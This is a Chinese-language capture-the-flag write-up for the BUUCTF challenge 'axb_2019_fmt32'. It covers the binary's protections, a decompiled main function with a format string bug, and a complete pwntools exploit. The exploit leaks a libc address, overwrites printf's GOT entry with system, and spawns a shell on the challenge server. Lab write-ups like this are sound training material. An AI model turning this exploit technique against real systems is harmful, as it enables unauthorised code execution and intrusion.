axb 2019 fmt32
# axb 2019 fmt32
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/axb_2019_fmt32/axb_2019_fmt32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Fh] [ebp-239h]
char format; // [esp+110h] [ebp-138h]
unsigned int v5; // [esp+23Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
alarm(3u);
memset(&s, 0, 0x101u);
memset(&format, 0, 0x12Cu);
printf("Please tell me:");
read(0, &s, 0x100u);
sprintf(&format, "Repeater:%s\n", &s);
if ( strlen(&format) > 0x10E )
break;
printf(&format);
}
printf("what you input is really long!");
exit(0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 思路分析
目前信息:
main
函数存在格式化字符串漏洞- 无
system
函数,无/bin/sh
字符串 - No canary found
- NX enabled
- No PIE
思路:
ret2libc
,首先泄漏出system
地址,接着将got
表中printf
的地址修改为泄漏出的system
地址,第三次传入;/bin/sh\x00
以获得shell
# exp
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/axb_2019_fmt32/axb_2019_fmt32'
io = remote('node4.buuoj.cn', 28051)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc_start_main = elf.got['__libc_start_main']
payload = flat(['%9$sa', libc_start_main])
io.recv()
io.send(payload)
io.recvuntil('Repeater:')
leak_libc_start_main_addr = u32(io.recv(4))
success("leak_libc_start_main_addr:"+hex(leak_libc_start_main_addr))
libc = LibcSearcher('__libc_start_main', leak_libc_start_main_addr)
libc_base = leak_libc_start_main_addr-libc.dump('__libc_start_main')
system_addr = libc_base+libc.dump('system')
payload = flat(['%9$sa', libc_start_main])
printf_got = elf.got['printf']
payload = b'a'+fmtstr_payload(8, {printf_got: system_addr}, numbwritten=10)
# 输入处栈不是对齐的,先输入一个a以平衡栈
# 因为Repeater:a=10 所以numbwritten=10
io.sendafter('me:', payload)
io.sendline(';/bin/sh\x00')
# linux加;分号分别执行前面的Repeater:a与/bin/sh
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
上次更新: 2022/08/15, 00:29:49